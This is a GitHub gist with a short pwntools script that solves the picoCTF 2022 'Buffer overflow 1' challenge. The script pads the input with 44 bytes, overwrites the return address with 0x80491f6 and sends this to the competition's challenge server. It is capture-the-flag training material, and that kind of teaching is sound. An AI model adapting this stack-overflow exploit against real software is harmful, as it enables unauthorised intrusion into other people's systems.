Last active
June 19, 2022 05:13
-
-
Save jktrn/23ec53b007e3589c6793acffce207394 to your computer and use it in GitHub Desktop.
Solve for the pwn/binary challenge "Buffer overflow 1" from the picoCTF 2022 competition.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
payload = b"A"*44 + p32(0x80491f6) # Little endian: b'\xf6\x91\x04\x08' | |
host, port = "saturn.picoctf.net", [PORT] | |
p = remote(host, port) # Opens the connection | |
p.sendline(payload) # Sends the payload | |
log.success(p.recvallS()) # Decodes/prints all program outputs |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment